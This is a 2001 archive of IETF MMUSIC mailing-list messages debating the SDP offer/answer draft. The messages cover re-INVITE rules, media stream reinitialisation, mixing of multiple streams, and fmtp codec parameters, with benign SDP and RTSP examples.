From confctrl-owner  Thu Dec  6 13:22:30 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA11087
	for confctrl-outgoing; Thu, 6 Dec 2001 13:22:30 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA11082
	for <confctrl@zephyr.isi.edu>; Thu, 6 Dec 2001 13:22:29 -0800 (PST)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB6LNCg29608
	for <confctrl@ISI.EDU>; Thu, 6 Dec 2001 13:23:12 -0800 (PST)
Received: from cannonat.cisco.com (cannon.cisco.com [161.44.228.16])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fB6LN9c11534;
	Thu, 6 Dec 2001 16:23:10 -0500 (EST)
Received: from cisco.com (dhcp-161-44-241-140.cisco.com [161.44.241.140])
	by cannonat.cisco.com (Mirapoint)
	with ESMTP id AAF36872 (AUTH pkyzivat);
	Thu, 6 Dec 2001 16:24:26 -0500 (EST)
Message-ID: <3C0FE0EA.BE1F0AC7@cisco.com>
Date: Thu, 06 Dec 2001 16:19:38 -0500
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: confctrl@ISI.EDU
Subject: Re: draft-rosenberg-mmusic-sdp-offer-answer-00
References: <B65B4F8437968F488A01A940B21982BF020D7113@DYN-EXCH-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Comments below.

	Paul

Jonathan Rosenberg wrote:
> 
> Paul - thanks for your read through and comments. Responses inline.
> 
> 
> > -----Original Message-----
> > From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> > Sent: Friday, October 26, 2001 4:08 PM
> > To: Jonathan Rosenberg
> > Cc: confctrl@ISI.EDU
> > Subject: draft-rosenberg-mmusic-sdp-offer-answer-00
> >
> >
> > Jonathan,
> >
> > It is good to see this material factored out of the sip rfc.
> >
> > I have a few comments after an initial skimming:
> >
> > 1) An issue came up in discussions of the comedia draft regarding
> > semantics of modifying a session. The latest comedia draft has a
> > solution for it, but it seems a more general problem and perhaps it
> > deserves a general solution here.
> 
> Its not clear that offer/answer is the best place either. After all,
> wouldn't the issue arise with a SAP-delivered announcement too (not for TCP
> connections, but for initialization of parameters)?

Discussed in another thread.

> 
> >
> > The problem is that some media streams may require
> > initialization before
> > first use. When a session description is modified, there then
> > arises the
> > question of whether a particular media stream requires
> > re-initialization. (For instance, when negotiating a TCP session with
> > comedia, a connection must be established between the two endpoints.)
> 
> Actually, lets get specific here. Besides tcp initialization, what kind of
> initialization needs to happen that is not provided itself within the codec
> (i.e., an H.263 encode could send all intra frame to reinitialize the state
> of the frame at the decoder)? No need to solve a theoretical problem
> only.....

Any kind of connection oriented transport can have this problem:
TCP, SCTP, SSL, and possibly specialized ones like SIP MESSAGE,
BXXP, etc.

> 
> >
> > - If an entire session description is unchanged, as
> > determined by the o=
> > line, then it can be assumed that nothing has changed and
> > reinitialization is not required.
> >
> > - If the o= line is changed, then it may be assumed that individual
> > media sections that have changed require re-initialization. But there
> > remains the issue of media sections that have not changed. Since
> > modification of a single media section requires a complete description
> > of all media to be sent, it follows that any unchanged media sections
> > will seem to be unchanged. Presumably these should not be
> > reinitialized.
> >
> > - However, there are cases when it may be important to request
> > reinitialization without changing any of the information in a media
> > section. For instance, if one participant has difficulty
> > sending but not
> > receiving, it may believe the other participant is having difficulty,
> > and wish to send a reinvite to force reinitialization. But it may
> > wish/need to use the same information in its own offer. In this case,
> > the other participant will not be able to distinguish that this is a
> > request to reinitialize rather than a no-op modification.
> >
> > One possible solution to this problem is to permit the use of the o=
> > line within individual media descriptions as well as
> > globally. When used
> > within a an individual media description, this would have the same
> > semantics as globally, but would apply only to the one media
> > description. To initiate a reinitialization, one could send a new
> > description with only the o= line for the medium in question
> > changed. Of
> > course this is a change to SDP. But it seems preferable to one-off
> > solutions to this for different media.
> 
> If something was needed beyond the a=reuse which is already described in the
> comedia draft, I would prefer to simply define an explicit attribute that
> conveys what you want, like a=initialize or something. However, I'm not
> convinced that this is needed.

Discussed in another thread.

> 
> >
> > 2) A nit in section 2.1. It starts off with: "The offer MUST contain
> > zero or more media sections." This is a pretty rough condition to
> > conform to.
> 
> Rough? Actually, its impossible to define an SDP that doesn't comply; maybe
> that is what you mean?

Yeah. I should have added a smiley.

> 
> It might be said more directly as something like:
> > "The offer
> > MAY contain one or more media sections. An offer with no
> > media sessions
> > implies..."
> 
> OK. I will fix.
> 
> >
> > 3) Section 2.1 is also heavily biased towards RTP based media
> > descriptions containing payload type descriptions. The descriptions of
> > how to process and interpret payload types and codecs really should be
> > qualified so it is clear they apply only to the RTP transport. For
> > instance, a=rtpmap is only appropriate for RTP transport.
> 
> The section is most definitely speific to RTP transport; its hard to
> generalize this or talk about other things since not much has been defined
> besides RTP. I will try, however, to do that.
> 
> >
> > 4) Section 2.1 also discusses the semantics of multiple media
> > streams of
> > the same type, and says that the same source should be sent to each of
> > these streams. This seems quite restrictive, and covers semantics that
> > are the subject of the FID semantics in
> > draft-ietf-mmusic-fid-05. In the
> > absence of the notation from that draft, it seems wrong to assume that
> > the different media streams will contain the same content.
> 
> Thats true. The spec is trying to define behavior in absence of the FID
> parameters. I could reference FID to say "FID overrides this behavior", but
> that is going to introduce another draft dependency, and its not clear its
> needed.
> 
> When there are no FID parameters, the distinction, I think, is whether you
> offer multiple streams or answer multiple streams offered to you.
> 
> So, lets say you have a system that has two separate audio sources. You
> invite someone else, and you include an SDP with two media streams, each for
> audio. In that case, you would send each source as a different stream. A
> device with multiple sources knows to offer multiple sources and therefore
> knows how to map those sources to streams.

Technically, the offer is what you are willing to receive, not send,
though with the offer/answer model there is some implication that you
might want to send as well. So the most important thing in your offer
is the number of audio sinks you have. You may have two sinks and one
source, or two sinks and two sources. Absent FID (or maybe even with
FID) you have no way to say which.

> 
> However, lets say you have a device that only has a single audio source. You
> receive an offer with two audio streams. The spec is trying to say that you
> should accept both, and copy your source to both streams. Now, don't ask me
> what to do if you are a system with two sources, and you receive an offer
> with three audio streams; thats what FID is for. Without it, its not clear
> what to do. We could make it a policy decision, so that an endpoint can
> choose which of its sources to send on each stream. If there is only one
> source, there is only one reasonable policy, send that source on all
> streams.

I think the more interesting question is what to do if you receive
an offer with two streams, and you can have as many sources/sinks as
you choose. How many should you offer back?

An example of this would be IM streams. You could open up multiple
windows, one per offered stream, or you could open up one, mix the
inputs from both, and replicate your output stream to each. Then you
are faced with how to mix IM streams. You might have to find a way
to eliminate duplicates received over both streams. Ugh!

I am not convinced that there is a reasonable default that is right
for all media.

From confctrl-owner  Fri Dec  7 13:19:07 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA01784
	for confctrl-outgoing; Fri, 7 Dec 2001 13:19:07 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA01778
	for <confctrl@zephyr.isi.edu>; Fri, 7 Dec 2001 13:19:06 -0800 (PST)
Received: from mail1.dynamicsoft.com (mail1.dynamicsoft.com [63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB7LJng01094
	for <confctrl@ISI.EDU>; Fri, 7 Dec 2001 13:19:49 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id fB7LI54I000356;
	Fri, 7 Dec 2001 16:18:05 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <YAN9Z1RH>; Fri, 7 Dec 2001 16:19:35 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF02EF5803@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Paul Kyzivat'" <pkyzivat@cisco.com>
Cc: confctrl@ISI.EDU
Subject: RE: draft-rosenberg-mmusic-sdp-offer-answer-00
Date: Fri, 7 Dec 2001 16:19:27 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> Sent: Thursday, December 06, 2001 4:20 PM
> To: Jonathan Rosenberg
> Cc: confctrl@ISI.EDU
> Subject: Re: draft-rosenberg-mmusic-sdp-offer-answer-00
> 
> > Actually, lets get specific here. Besides tcp 
> initialization, what kind of
> > initialization needs to happen that is not provided itself 
> within the codec
> > (i.e., an H.263 encode could send all intra frame to 
> reinitialize the state
> > of the frame at the decoder)? No need to solve a theoretical problem
> > only.....
> 
> Any kind of connection oriented transport can have this problem:
> TCP, SCTP, SSL, and possibly specialized ones like SIP MESSAGE,
> BXXP, etc.

Right, but if all of these are connection oriented transports, then the
comedia draft would work for all. The question is if there are other pieces
of initialization that need to be conveyed outside of the media stream?


> > So, lets say you have a system that has two separate audio 
> sources. You
> > invite someone else, and you include an SDP with two media 
> streams, each for
> > audio. In that case, you would send each source as a 
> different stream. A
> > device with multiple sources knows to offer multiple 
> sources and therefore
> > knows how to map those sources to streams.
> 
> Technically, the offer is what you are willing to receive, not send,

That used to be the case some time ago, but the text for some time now
indicates that for a sendrecv stream, it lists what you are willing to
receive and send. Without that, there is no hope for the same codec in both
directions. Also, there is no way to know whether there has been an error
because there are no codecs that overlap. Here's an example. Lets say the
offerer says "I can receive with G.729 and G.711" - note that they can't
send with G.711. The answerer says "I can receive with G.711". However, this
is really a failure - no media will go from the offerer to the answerer. If
you just list what you receive, these cases are not detected.


> though with the offer/answer model there is some implication that you
> might want to send as well. So the most important thing in your offer
> is the number of audio sinks you have. You may have two sinks and one
> source, or two sinks and two sources. Absent FID (or maybe even with
> FID) you have no way to say which.

See above; it would indicate that you have two sinks/sources if there are
two sendrecv streams offered.

> 
> > 
> > However, lets say you have a device that only has a single 
> audio source. You
> > receive an offer with two audio streams. The spec is trying 
> to say that you
> > should accept both, and copy your source to both streams. 
> Now, don't ask me
> > what to do if you are a system with two sources, and you 
> receive an offer
> > with three audio streams; thats what FID is for. Without 
> it, its not clear
> > what to do. We could make it a policy decision, so that an 
> endpoint can
> > choose which of its sources to send on each stream. If 
> there is only one
> > source, there is only one reasonable policy, send that source on all
> > streams.
> 
> I think the more interesting question is what to do if you receive
> an offer with two streams, and you can have as many sources/sinks as
> you choose. How many should you offer back?

That depends alot on the directions of those streams. If they are sendrecv,
I imagine you would accept both, and as I propose above, the mapping of your
sources to those streams is arbitrary, and you should mix what you receive.


> 
> An example of this would be IM streams. You could open up multiple
> windows, one per offered stream, or you could open up one, mix the
> inputs from both, and replicate your output stream to each. Then you
> are faced with how to mix IM streams. You might have to find a way
> to eliminate duplicates received over both streams. Ugh!

It actually works OK if you take "mix the received streams" not literally,
but rather to mean, "present all data received immediately +/- any kind of
media buffering". That would imply mixing for audio, but for IM, would
simply mean that you would display each IM once its received. Now, in terms
of sending, my proposal was that the mapping of sources to streams is a
matter of local policy. In this case, the policy is simple; the mapping of
the source to the stream is clear based on which thread window the user
enters the IM.

-Jonathan R.
---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Fri Dec  7 13:27:49 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA02135
	for confctrl-outgoing; Fri, 7 Dec 2001 13:27:49 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA02130
	for <confctrl@zephyr.isi.edu>; Fri, 7 Dec 2001 13:27:48 -0800 (PST)
Received: from mail1.dynamicsoft.com (mail1.dynamicsoft.com [63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB7LSVg03956
	for <confctrl@ISI.EDU>; Fri, 7 Dec 2001 13:28:31 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id fB7LQF4I000420;
	Fri, 7 Dec 2001 16:26:15 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <YAN9Z1SC>; Fri, 7 Dec 2001 16:27:45 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF02EF5804@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Paul Kyzivat'" <pkyzivat@cisco.com>,
        Jonathan Rosenberg
	 <jdrosen@dynamicsoft.com>
Cc: "'Flemming Andreasen'" <fandreas@cisco.com>,
        Henning Schulzrinne
	 <schulzrinne@cs.columbia.edu>,
        MMUSIC <confctrl@ISI.EDU>
Subject: RE: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
Date: Fri, 7 Dec 2001 16:27:44 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> Sent: Thursday, December 06, 2001 11:26 AM
> To: Jonathan Rosenberg
> Cc: 'Flemming Andreasen'; Henning Schulzrinne; MMUSIC
> Subject: Re: Comments on
> <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
> 
> 
> 
> 
> Jonathan Rosenberg wrote:
> > 
> > This did require the movement of one paragraph from this 
> draft back into
> > bis:
> > 
> > This means that a
> > re-{\INVITE} {\MAY} contain no SDP, so that the 200 OK to the
> > re-{\INVITE} contains the offer. In this case, the
> > offerer {\MUST} offer the same SDP it provided previously. 
> This is to
> > ensure that the offered SDP in the 2xx will be acceptable 
> to the UAC,
> > as there is no way to reject it.
> > 
> > This will appear in bis-06.
> 
> I think this constraint is too strong. 

We had formerly agreed to it in sip (with the additional flexibility that
you can change the IP address/port).

> 
> Consider:
> 
> 	A                   B
>         |   INVITE(sdp)     |  offers codecs X,Y
>         |------------------>|
>         |      OK(sdp)      |  accepts X, not Y,
>         |<------------------|  would have accepted Z if offered
>         |      ACK          |
>         |------------------>|
>         |   INVITE(no sdp)  |
>         |------------------>|
>         |      OK(sdp)      |  should be able to offer X,Z
>         |<------------------|
>         |      ACK (sdp)    |
>         |------------------>|
> 
> In this standalone case, it probably isn't likely that A will be
> interested in Z the second time if it wasn't the first time. 
> But if A is
> a B2BUA, it might be preparing to involve another party that is very
> interested in Z. 

OK, but in this case it would be a new dialog for the new party, so that you
would have no previous sdp.

> 
> I believe the rule should be that on reinvites without sdp, 
> the response
> should be the same as last time, or a superset of that.

I'm just trying to keep it simple, and don't like revisiting decisions
agreed to previously on the lists...

-Jonathan R.

---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Fri Dec  7 13:36:33 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA02563
	for confctrl-outgoing; Fri, 7 Dec 2001 13:36:33 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA02557
	for <confctrl@zephyr.isi.edu>; Fri, 7 Dec 2001 13:36:32 -0800 (PST)
Received: from mail1.dynamicsoft.com (mail1.dynamicsoft.com [63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB7LbFg07247
	for <confctrl@ISI.EDU>; Fri, 7 Dec 2001 13:37:16 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id fB7LYt4J000479;
	Fri, 7 Dec 2001 16:34:56 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <YAN9Z1S9>; Fri, 7 Dec 2001 16:36:25 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF02EF5805@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Orit Levin'" <orit@radvision.com>,
        Jonathan Rosenberg
	 <jdrosen@dynamicsoft.com>,
        "'Flemming Andreasen'" <fandreas@cisco.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: MMUSIC <confctrl@ISI.EDU>
Subject: RE: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
Date: Fri, 7 Dec 2001 16:36:21 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Orit Levin [mailto:orit@radvision.com]
> Sent: Tuesday, December 04, 2001 5:57 PM
> To: 'Jonathan Rosenberg'; 'Flemming Andreasen'; Henning Schulzrinne
> Cc: MMUSIC
> Subject: RE: Comments on
> <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
> 
> 
> Hi Jonathan!
> I agree with most of Flemming's comments.
> There is an additional issue though. In order for the draft to become
> clearer, it would be very helpful to provide  and use definitions
> differentiating among the three cases:
> 1. a single media stream (i.e. a codec within an m-line)

My definition of "stream" is the m-line.

> 2. (a proposal/offer/answer as) a single m-line (that may 
> specify a number
> of codecs)
> 3. (a proposal/offer/answer consisting of) several m-lines
> Additionally, the meaning of "the source of the stream" is 
> not clear enough.
> Are you referring to one of the RTP/RTCP fields or is it based upon an
> application interpretation? What correlation would it have to 
> the three
> cases above?

Each stream (read: m-line) needs data to provide input to codecs for
eventual RTP transmission. In a PSTN gateway, there is only one "source",
which is the incoming circuit. For a multimedia conferencing system, we
might have several sources of audio, for example - a mike in room one, a
mike in room 2, and a vcr playing pre-recorded content. 

> The Offer-Answer semantics may be different based on the 
> three cases above.

Not sure what you mean.

> For example, the controversial "mixing" part requires clearer 
> definition:
>  "When receiving multiple streams of the same type, the 
> streams MUST be
> mixed before playing them out."	
> I guess, we are talking about multiple m-lines,

yes.

> otherwise the 
> "mixing" would
> have been implicit "in time". (The FID is yet a separately 
> defined case.)
> The provided example reads as it were the case of 
> "de-multiplexing" rather
> then mixing.
> May be it is just a terminology problem here, but it seems that in the
> majority of cases, the "mixing" is not required.
> For example, if you are sending stereo, the last thing would 
> be "to mix" it
> by the receiving side.

True enough. As I pointed out in another thread, what this is really trying
to say is that the streams should all be presented to the user
simultaneously, however that needs to be done. If there is only one "sink"
available - like the PC speaker, you'll need to mix. If there are multiple
"sinks" - then I would generalize to say that the mapping of received media
to sinks is also policy dependent, so long as each stream maps to some sink.

> If it is, indeed, the case of multiple m-lines, could you 
> provide (a) more
> visual scheme(s) for the use of the proposed "mixing"?

I don't know what you mean by "a more visual scheme".

-Jonathan R.


---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Fri Dec  7 13:52:40 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA03195
	for confctrl-outgoing; Fri, 7 Dec 2001 13:52:40 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA03190
	for <confctrl@zephyr.isi.edu>; Fri, 7 Dec 2001 13:52:39 -0800 (PST)
Received: from mail1.dynamicsoft.com (mail1.dynamicsoft.com [63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB7LrMg13583
	for <confctrl@ISI.EDU>; Fri, 7 Dec 2001 13:53:22 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id fB7Lp64I000592;
	Fri, 7 Dec 2001 16:51:07 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <YAN9Z14W>; Fri, 7 Dec 2001 16:52:37 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF02EF5806@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'philippe.gentric@philips.com'" <philippe.gentric@philips.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: schulzrinne@cs.columbia.edu, confctrl@ISI.EDU
Subject: RE: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
Date: Fri, 7 Dec 2001 16:52:34 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: philippe.gentric@philips.com 
> [mailto:philippe.gentric@philips.com]
> Sent: Wednesday, December 05, 2001 8:59 AM
> To: jdrosen@dynamicsoft.com
> Cc: schulzrinne@cs.columbia.edu; confctrl@ISI.EDU
> Subject: RE: Comments on
> <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
> 
> 
> Hi,
> 
> *******************
> 
> you write "The list of payload types for each media stream 
> conveys two 
> pieces of
>    information, namely the set of codecs that the offerer is 
> capable of
>    sending and/or receiving..."
> 
> my concern is that this description of the "codec" is *only* the mime 
> type,

No; if there are fmtp and rtpmap attributes, the payload type number
indicates the codec type and the associated parameters associated with that.


> 
> however for several recent RTP payload formats 
> the mime type is "too vague" an indication:
> AMR, MPEG-4 video, MPEG-4 AAC, MPEG-4 CELP ...
> they all have to be described with more that the payload type.
> Typically at the minimum a  mime parameter
> (in MPEG-4 the profile-level-id) is required for a
> fruitful negociation... because the mime type encompasses
> a sometimes quite large number of very different configurations ...
> 
> I think it is possible to allow for any number of
> mime parameters to be added using a a=fmtp line:
> as in the following (modified) example
> 
>  v=0
>    o=alice 2890844526 2890844526 IN IP4 host.anywhere.com
>    s=New board design
>    e=alice@foo.org
>    t=0 0
>    c=IN IP4 host.anywhere.com
>    m=audio 49170 RTP/AVP 0
>    a=rtpmap:0 PCMU/8000
>    m=video 51372 RTP/AVP 31
>    a=rtpmap:31 H261/90000
>    m=video 53000 RTP/AVP 32
>    a=rtpmap:32 MPV/90000
>    m=video 55000 RTP/AVP 33
>    a=fmtp:33  profile-level-id=1
>    a=rtpmap:33 MPEG4-GENERIC/90000
> 
> 
> what do you think ?

Your example agrees with my statement above. I think perhaps clearer wording
is needed in the document to indicate that the number indicates codec and
parameters.


> 
> *************************
> 
> In a similar fashion what about the bandwidth indication ?
> (same stream, different bit rate)
> 
>    m=video 55000 RTP/AVP 33
>    a=fmtp:33  profile-level-id=1
>    b=AS:64
>    a=rtpmap:33 MPEG4-GENERIC/90000
>    m=video 55000 RTP/AVP 34
>    a=fmtp:34  profile-level-id=1
>    b=AS:32
>    a=rtpmap:34 MPEG4-GENERIC/90000
> 
> 
> *************************

I changed the text to:

  The list of payload types for each media stream conveys two pieces of
  information, namely the set of formats (codecs and any parameters
  associated with the codec, in the case of RTP)
  that the offerer is capable of sending and/or receiving (depending on
  the direction attributes), and, in the case of RTP, the RTP payload
  type numbers used to identify those formats. If multiple formats are

I think that would include your case above. Note that you would need FID in
order to use this SDP above, since they are alternatives.

> 
> you do not mention RTSP explicitely in the text.

Right. It used to mention SIP, but I have removed SIP references. It now
stands as a signaling independent (ie, SIP, RTSP, etc.) mechanism for
offer/answer exchanges with SDP.
I don't think it should mention either SIP or RTSP.

> 
> I would like to understand if this draft could support such a 
> thing i.e. a 
> scenario
> where a video on demand server, upon a RTSP describe
> sends back an "offer" listing a number of choices for a given movie
> that the client will pick from for example using a SET_PARAMETER
> with Accept: application/sdp as in:
> 
> 
>      C->S: DESCRIBE rtsp://example.com/fizzle/foo RTSP/1.0
>            CSeq: 1
> 
>      M->C: RTSP/1.0 200 OK
>            CSeq: 1
>            Content-Type: application/sdp
>            Content-Length: 164
> 
>            << put the SDP offer here >>
> 
>      C->S: SET_PARAMETER rtsp://example.com/fizzle/foo RTSP/1.0
>            CSeq: 2
>            Content-type: application/sdp
>            Content-length: 28
> 
>            sdp-answer: << put the SDP answer here>>
> 
>      S->C: RTSP/1.0 OK 200 OK
>            CSeq: 2
> 


I don't know SDP all that well, but it seems fine to me. I think it would be
great if its direclty usable by RTSP; arguably that should be a goal.

> 
> Could we also define the "sdp-answer" key word in your draft ?

I don't know what you mean by "sdp-answer" keyword. Is that an RTSP thing?

> 
> *****************************
> 
> I understand that the limit to the number of different configurations
> that can be thus "offered" is the number of dynamic payload types,
> which is not a lot. 
> 
> Is that correct ?

I believe so. Is that really limiting?

-Jonathan R.
---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Fri Dec  7 16:00:13 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id QAA08159
	for confctrl-outgoing; Fri, 7 Dec 2001 16:00:13 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA08154
	for <confctrl@zephyr.isi.edu>; Fri, 7 Dec 2001 16:00:12 -0800 (PST)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB800tg15023
	for <confctrl@ISI.EDU>; Fri, 7 Dec 2001 16:00:55 -0800 (PST)
Received: from cannonat.cisco.com (cannon.cisco.com [161.44.228.16])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fB800rc19283;
	Fri, 7 Dec 2001 19:00:53 -0500 (EST)
Received: from cisco.com (dhcp-161-44-241-140.cisco.com [161.44.241.140])
	by cannonat.cisco.com (Mirapoint)
	with ESMTP id AAF45000 (AUTH pkyzivat);
	Fri, 7 Dec 2001 19:02:10 -0500 (EST)
Message-ID: <3C11575D.96D8CFE9@cisco.com>
Date: Fri, 07 Dec 2001 18:57:17 -0500
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: "'Flemming Andreasen'" <fandreas@cisco.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        MMUSIC <confctrl@ISI.EDU>
Subject: Re: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
References: <B65B4F8437968F488A01A940B21982BF02EF5804@DYN-EXCH-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Comments below.

	Paul

Jonathan Rosenberg wrote:
> 
> 
> 
> > -----Original Message-----
> > From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> > Sent: Thursday, December 06, 2001 11:26 AM
> > To: Jonathan Rosenberg
> > Cc: 'Flemming Andreasen'; Henning Schulzrinne; MMUSIC
> > Subject: Re: Comments on
> > <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
> >
> >
> >
> >
> > Jonathan Rosenberg wrote:
> > >
> > > This did require the movement of one paragraph from this
> > draft back into
> > > bis:
> > >
> > > This means that a
> > > re-{\INVITE} {\MAY} contain no SDP, so that the 200 OK to the
> > > re-{\INVITE} contains the offer. In this case, the
> > > offerer {\MUST} offer the same SDP it provided previously.
> > This is to
> > > ensure that the offered SDP in the 2xx will be acceptable
> > to the UAC,
> > > as there is no way to reject it.
> > >
> > > This will appear in bis-06.
> >
> > I think this constraint is too strong.
> 
> We had formerly agreed to it in sip (with the additional flexibility that
> you can change the IP address/port).

Just because it was agreed to doesn't mean it was right.

> 
> >
> > Consider:
> >
> >       A                   B
> >         |   INVITE(sdp)     |  offers codecs X,Y
> >         |------------------>|
> >         |      OK(sdp)      |  accepts X, not Y,
> >         |<------------------|  would have accepted Z if offered
> >         |      ACK          |
> >         |------------------>|
> >         |   INVITE(no sdp)  |
> >         |------------------>|
